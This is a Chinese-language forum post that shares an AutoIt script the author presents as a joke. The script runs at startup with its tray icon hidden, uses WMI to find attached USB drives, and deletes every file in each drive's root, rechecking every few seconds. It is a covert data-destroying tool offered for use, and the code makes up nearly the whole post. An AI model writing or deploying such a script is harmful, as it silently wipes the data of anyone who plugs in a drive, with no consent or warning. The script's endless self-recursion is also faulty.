本人最反对别人拷贝我电脑里的东东,哈哈!就写了这个东东——————监控u盘并清空u盘。
加载到启动项
你U盘有重要文件[fly]可不要运行[/fly]它!!!!!!!!。
哈哈!小玩意!
Opt("TrayIconHide", 1)
Dim $USB_Drive
_test()
Func _test()
$objWMIService = ObjGet("winmgmts:\\.\root\cimv2")
$colDiskDrives = $objWMIService.ExecQuery("SELECT * FROM Win32_DiskDrive where InterfaceType='usb'")
For $objDrive In $colDiskDrives
$strDeviceID = StringReplace($objDrive.DeviceID, "\", "\\")
$colPartitions = $objWMIService.ExecQuery ("ASSOCIATORS OF {Win32_DiskDrive.DeviceID=""" & $strDeviceID & """} WHERE AssocClass = Win32_DiskDriveToDiskPartition")
For $objPartition In $colPartitions
$colLogicalDisks = $objWMIService.ExecQuery ("ASSOCIATORS OF {Win32_DiskPartition.DeviceID=""" & $objPartition.DeviceID & """} WHERE AssocClass = Win32_LogicalDiskToPartition")
For $objLogicalDisk In $colLogicalDisks
$USB_Drive = $objLogicalDisk.DeviceID
Next
Next
Next
If $USB_Drive <> "" Then
FileDelete($USB_Drive & "\*.*")
Sleep(5000)
_test()
Else
Sleep(30000)
_test()
EndIf
EndFunc
|